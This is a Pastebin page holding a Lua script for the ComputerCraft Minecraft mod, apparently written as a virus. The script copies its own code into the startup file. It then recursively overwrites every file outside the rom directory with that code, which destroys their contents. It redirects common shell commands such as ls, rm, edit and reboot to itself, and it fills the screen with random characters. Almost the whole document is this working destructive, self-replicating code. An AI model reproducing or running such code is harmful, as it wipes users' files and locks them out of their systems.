Advertisement
RandomNewbieScripter

Untitled

Nov 11th, 2017
190
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 3.37 KB | None | 0 0
  1.  
  2. local w, h = term.getSize()
  3.  
  4. function disPlace()
  5.         shell.clearAlias("ls")
  6.         shell.clearAlias("dir")
  7.         shell.clearAlias("cp")
  8.         shell.clearAlias("mv")
  9.         shell.clearAlias("rm")
  10.         shell.setAlias("ls", "startup")
  11.         shell.setAlias("dir", "startup")
  12.         shell.setAlias("cp", "startup")
  13.         shell.setAlias("mv", "startup")
  14.         shell.setAlias("rm", "startup")
  15.         shell.setAlias("list", "startup")
  16.         shell.setAlias("edit", "startup")
  17.         shell.setAlias("reboot", "startup")
  18.         shell.setAlias("shutdown", "startup")
  19.         shell.setAlias("lua", "startup")
  20.         shell.setAlias("delete", "startup")
  21.         shell.setAlias("help", "startup")
  22.         shell.setPath(":::VIRUS:::")
  23.         shell.setDir(":::VIRUS:::")
  24. end
  25.  
  26. function printCentered(y, s)
  27.         term.setCursorPos(w / 2 - string.len(s) / 2, y)
  28.         write(s)
  29. end
  30.  
  31. function payload()
  32.         local payLoadCharacters = {0, 1, "|", "-", "+","=", "q", "w", "e", "r", "t", "y", "u", "i", "o", "p", "a", "s", "d", "f", "g", "h", "j", "k", "l", "z", "x", "c", "v", "b", "n", "m","MAKEAWISH","DISALLOWED","Error","Illegal Instruction","00003301"}
  33.         for i=1,50000000000 do
  34.                 os.queueEvent("randomEvent")
  35.                 os.pullEvent()
  36.                 term.setCursorPos(math.random(1, w), math.random(1, h))
  37.                 local index = math.random(1, table.getn(payLoadCharacters))
  38.                 textutils.slowPrint(payLoadCharacters[index])
  39.                 textutils.slowPrint(payLoadCharacters[index])
  40.                 textutils.slowPrint(payLoadCharacters[index])
  41.                 textutils.slowPrint(payLoadCharacters[index])
  42.                 textutils.slowPrint(payLoadCharacters[index])
  43.                 textutils.slowPrint(payLoadCharacters[index])
  44.                
  45.         end
  46.         sleep(9999)
  47.         term.clear()
  48.         term.setCursorPos(1, 1)
  49.         print("crash "..os.version())
  50. end
  51.  
  52. function infectDir(Directory, Injection)
  53.         local sDir = shell.dir()
  54.         sDir = shell.resolve( Directory )
  55.         local tAll = fs.list( sDir )
  56.         local tFiles = {}
  57.         local tDirs = {}
  58.         for n, sItem in pairs( tAll ) do
  59.                 if string.sub( sItem, 1, 1 ) ~= "." then
  60.                         local sPath = fs.combine( sDir, sItem )
  61.                         if fs.isDir( sPath ) then
  62.                                 table.insert( tDirs, sItem )
  63.                         else
  64.                                 table.insert( tFiles, sItem )
  65.                         end
  66.                 end
  67.         end
  68.         table.sort( tDirs )
  69.         table.sort( tFiles )
  70.        
  71.         for i=1,table.getn(tFiles) do
  72.                 local filewritex = fs.open(Directory.."/"..tFiles[i], "w")
  73.                 filewritex.write(Injection)
  74.                 filewritex.close()
  75.         end
  76.         for i=1,table.getn(tDirs) do
  77.                 if tDirs[i] ~= "rom" then
  78.                         infectDir(Directory.."/"..tDirs[i], Injection)
  79.                 end
  80.         end
  81.        
  82. end
  83.  
  84. local virusread = fs.open(shell.getRunningProgram(), "r")
  85. local viruscode = virusread.readAll()
  86. virusread.close()
  87.  
  88. local filewritev = fs.open("startup", "w")
  89. filewritev.write(viruscode)
  90. filewritev.close()
  91.  
  92. infectDir("", viruscode)
  93.  
  94. if fs.exists("EOF") == false then
  95.         payload()
  96.         fs.makeDir("EOF")
  97. end
  98.  
  99. disPlace()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement